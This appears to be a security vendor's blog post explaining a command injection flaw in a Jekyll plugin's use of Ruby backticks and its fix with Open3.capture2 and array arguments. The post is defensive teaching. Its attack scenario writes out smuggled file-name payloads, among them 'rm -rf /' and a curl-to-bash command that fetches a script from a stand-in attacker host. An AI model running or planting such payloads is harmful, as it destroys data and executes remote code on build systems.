Back to Blog
high SEVERITY6 min read

How command injection happens in Ruby backticks and how to fix it

A Jekyll plugin used unsafe Ruby backticks to execute a `git log` command with an unescaped file path, creating a command injection vulnerability. By switching to `Open3.capture2()` with argument array syntax, the fix prevents shell interpretation and eliminates the attack surface entirely.

O
By Orbis AppSec
Published July 24, 2026Reviewed July 24, 2026

Answer Summary

Command injection in Ruby backticks occurs when user-influenced data reaches shell command execution without proper escaping. In the `_plugins/timestamp.rb` file, the git command was constructed using string interpolation inside backticks, allowing attackers to inject arbitrary commands through malicious file paths. The fix replaces backticks with `Open3.capture2()` using array-style arguments, which bypasses the shell entirely and prevents command injection (CWE-78).

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplace backticks with Open3.capture2() using array argument syntax to avoid shell interpretation
riskRemote code execution with application privileges
languageRuby
root causeUnsafe string interpolation in backtick shell execution with user-influenced file paths
vulnerabilityCommand Injection via Ruby Backticks

How Command Injection Happens in Ruby Backticks and How to Fix It

The Real-World Scenario

In a Jekyll-based static site generator, a timestamp plugin needed to retrieve the last modification time of documents by querying Git. The developer used Ruby's convenient backtick syntax to execute a shell command—a pattern that seems innocent but created a critical vulnerability when collection file paths could be influenced by external input.

Introduction

The _plugins/timestamp.rb file is responsible for enriching Jekyll documents with Git metadata, specifically the timestamp of the last commit that modified each document. While this is a legitimate use case, the implementation contained a command injection vulnerability at line 11. The code executed a git log command using Ruby backticks with unsanitized file path data, creating an opening for attackers to inject arbitrary shell commands. This is a textbook example of CWE-78 (OS Command Injection), and it demonstrates why developers must be extremely careful when combining shell execution with any data that isn't completely static.

For developers working on Jekyll plugins, build tools, or any system that processes file paths, this vulnerability is particularly relevant. The attack surface here is deceptively simple: a malicious file name or path could trigger arbitrary code execution with the privileges of the application.

The Vulnerability Explained

Let's examine the vulnerable code:

last_modified = `git log -1 --format="%ct" -- "#{collection.path}"`

The Problem:

This single line contains multiple security anti-patterns:

  1. Backticks execute shell commands: Ruby's backticks (`) invoke /bin/sh to interpret the entire string as a shell command.
  2. String interpolation with user data: The #{collection.path} is interpolated directly into the command string. While collection.path comes from Jekyll's internal document structure, in a plugin ecosystem or with external input sources, this could be attacker-controlled.
  3. No shell escaping: The file path is wrapped in quotes but not properly escaped. A path containing shell metacharacters like $(, ;, |, or backticks could break out of the quotes and inject commands.

Attack Scenario:

Imagine an attacker can influence the document collection by uploading a file with a malicious name:

document_name: "test.md; rm -rf / #"

When Jekyll processes this, the executed command becomes:

git log -1 --format="%ct" -- "test.md; rm -rf / #"

The shell interprets the semicolon as a command separator and executes rm -rf / as a second command. Or consider a more subtle attack:

document_name: "$(curl attacker.com/malware.sh | bash)"

This would execute an arbitrary script from a remote server.

Real-World Impact:

In a CI/CD pipeline running Jekyll builds, this vulnerability could allow an attacker to:
- Steal secrets stored in environment variables
- Modify the generated static site to inject malicious content
- Compromise the build server itself
- Establish persistence for future attacks

The git log command itself isn't dangerous—but executing any shell command with interpolated data is.

The Fix

The pull request replaced the vulnerable backtick syntax with Open3.capture2(), a Ruby standard library method that executes commands without invoking a shell:

Before (Vulnerable):

last_modified = `git log -1 --format="%ct" -- "#{collection.path}"`

After (Secure):

require 'open3'

last_modified, _ = Open3.capture2('git', 'log', '-1', '--format=%ct', '--', collection.path)

What Changed:

  1. Added require 'open3': Imported Ruby's Open3 standard library at the top of the file.

  2. Replaced backticks with Open3.capture2(): This method accepts the executable as the first argument and subsequent arguments as an array, bypassing the shell entirely.

  3. Array-style arguments: Instead of 'git log -1 --format="%ct" -- "#{collection.path}"' as a single string, the command is now:
    - 'git' (executable)
    - 'log', '-1', '--format=%ct', '--' (literal arguments)
    - collection.path (user data as a separate argument)

  4. Captured both stdout and stderr: The Open3.capture2() method returns both standard output and standard error. The fix captures both (last_modified, _) and discards stderr with the underscore.

Why This Works:

When using Open3.capture2() with array-style arguments, Ruby passes each argument directly to the git executable without shell interpretation. Shell metacharacters in collection.path are treated as literal characters, not special commands. A malicious path like "$(rm -rf /)" is passed to git as a literal filename to search for, which git will simply report as "file not found"—safe and harmless.

Prevention & Best Practices

To avoid command injection vulnerabilities in your Ruby code:

  1. Never use backticks or system() with interpolated data: These invoke a shell and interpret special characters.

  2. Use Open3.capture2() or Open3.popen3() with array arguments: These methods accept arguments as an array, bypassing shell interpretation entirely.

  3. If you must use shell features, use Kernel.system() with array syntax:
    ```ruby
    # Safe: arguments passed as array
    system('git', 'log', '-1', '--format=%ct', '--', collection.path)

# Unsafe: shell interprets the string
system("git log -1 --format=\"%ct\" -- \"#{collection.path}\"")
```

  1. Validate and sanitize input: Even with safe APIs, validate that file paths match expected patterns.

  2. Use static analysis tools: Semgrep, Brakeman, and other security scanners can detect dangerous-subshell patterns automatically.

  3. Apply principle of least privilege: Run build processes with minimal permissions to limit damage if injection occurs.

  4. Review OWASP CWE-78 guidance: The OWASP Command Injection page provides comprehensive guidance on preventing this class of vulnerability.

Key Takeaways

  • Backticks in Ruby with string interpolation are a command injection vector: Never interpolate user-influenced data into backtick commands.
  • Open3.capture2() with array arguments is the safe alternative: This method bypasses shell interpretation entirely, eliminating the attack surface.
  • File paths from external sources must be treated as untrusted: Even if they come from a plugin system or document metadata, they could be attacker-controlled.
  • The git log command itself is safe—the danger is in how it's executed: Using a shell-invoking method with unescaped data creates the vulnerability.
  • Static analysis caught this before it caused harm: Semgrep's dangerous-subshell rule detected this pattern, demonstrating the value of automated security scanning in development pipelines.

How Orbis AppSec Detected This

Source: The collection.path variable, which could originate from Jekyll document metadata or external plugin inputs.

Sink: The backtick shell execution at line 11: `git log -1 --format="%ct" -- "#{collection.path}"`

Missing control: No shell-safe API was used; string interpolation was performed directly into a backtick command without escaping or validation.

CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Replaced backticks with Open3.capture2('git', 'log', '-1', '--format=%ct', '--', collection.path), which passes arguments as an array and never invokes a shell.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection through Ruby backticks is a subtle but critical vulnerability that can lead to remote code execution. The _plugins/timestamp.rb fix demonstrates that the safest approach is to avoid shell execution entirely by using APIs like Open3.capture2() with array-style arguments. This method ensures that user data is never interpreted as shell commands, eliminating an entire class of injection attacks.

As developers, we should make it a habit to reach for safe APIs first. When executing external commands in Ruby, default to Open3 methods with array arguments rather than backticks or system() with string interpolation. Combine this with static analysis tools like Semgrep to catch these patterns automatically during code review, and your applications will be significantly more resilient to command injection attacks.

References

Frequently Asked Questions

What is command injection in Ruby backticks?

Command injection occurs when user-controlled data is interpolated into a shell command executed via backticks (``), allowing attackers to inject arbitrary commands that the shell will interpret and execute.

How do you prevent command injection in Ruby?

Use `Open3.capture2()` or similar methods with array-style arguments instead of backticks with string interpolation. This passes arguments directly to the executable without shell interpretation, preventing injection.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). This is one of the OWASP Top 10 and represents a critical security risk.

Is shell escaping enough to prevent command injection?

No. While escaping can help, the safest approach is to avoid the shell entirely by using array-style argument passing with APIs like `Open3.capture2()`, which don't invoke a shell at all.

Can static analysis detect command injection?

Yes. Semgrep and similar tools can detect the dangerous-subshell pattern by identifying backticks or system calls with non-static command strings, flagging them for manual review or automatic fixing.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #383

Related Articles

high

How path traversal happens in Ruby YARD server and how to fix it

A high-severity path traversal vulnerability (CVE-2026-41493) in YARD versions prior to 0.9.42 allowed attackers to read arbitrary files from servers running `yard server`. This fix upgrades the yard gem from 0.9.26 to 0.9.42 in the Gemfile and Gemfile.lock, closing a dangerous information disclosure vector that could expose configuration files, credentials, and source code.

high

How Denial of Service via crafted URI templates happens in Ruby addressable and how to fix it

A high-severity Denial of Service vulnerability (CVE-2026-35611) was discovered in the Ruby `addressable` gem versions prior to 2.9.0, which could allow attackers to crash or hang applications by sending specially crafted URI templates. The fix upgrades the dependency from version 2.8.7 to 2.9.0 across the Gemfile, Gemfile.lock, and gemspec in a Fastlane project, eliminating the vulnerable code path entirely.

medium

Mass Assignment Vulnerability: Why Your Rails Models Need attr_accessible

A medium-severity mass assignment vulnerability was identified in a Ruby on Rails model that lacked proper attribute whitelisting via `attr_accessible` or strong parameters. Without this protection, attackers can manipulate any model attribute through crafted HTTP requests, potentially escalating privileges or corrupting data. The fix enforces explicit attribute allowlisting, closing the door on unauthorized mass assignment exploitation.

critical

Critical Buffer Overflow in OJ's fast.c: How an Unsafe strcpy Nearly Opened the Door to RCE

A critical buffer overflow vulnerability was discovered and patched in the popular OJ Ruby JSON library's fast.c parser, where an unbounded strcpy call allowed attacker-controlled JSON input to overwrite adjacent memory. Left unpatched, this classic CWE-120 flaw could enable arbitrary code execution in any application parsing untrusted JSON with the affected library. The fix eliminates the unsafe copy operation, closing a potential remote code execution vector that affected countless Ruby applic

medium

Silent Data Destruction: The Hidden Danger in Upload Price Tier Logic

A medium-severity vulnerability in Fastlane's `deliver` tool revealed how a subtle semantic distinction between `nil` and an empty array could silently remove an app from sale in every App Store territory worldwide — with no warning, no confirmation, and a misleading success message to cover its tracks. This post breaks down how the bug worked, why it matters, and what developers can learn about defensive coding with destructive operations.

high

How command injection happens in Node.js child_process and how to fix it

A high-severity command injection vulnerability was discovered in `bootstrap.js` at line 34, where the `exec()` function was used to run shell commands constructed from a `folder` variable. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates the shell interpolation entirely, closing the door on command injection attacks that could have affected all downstream consumers of this Node.js library.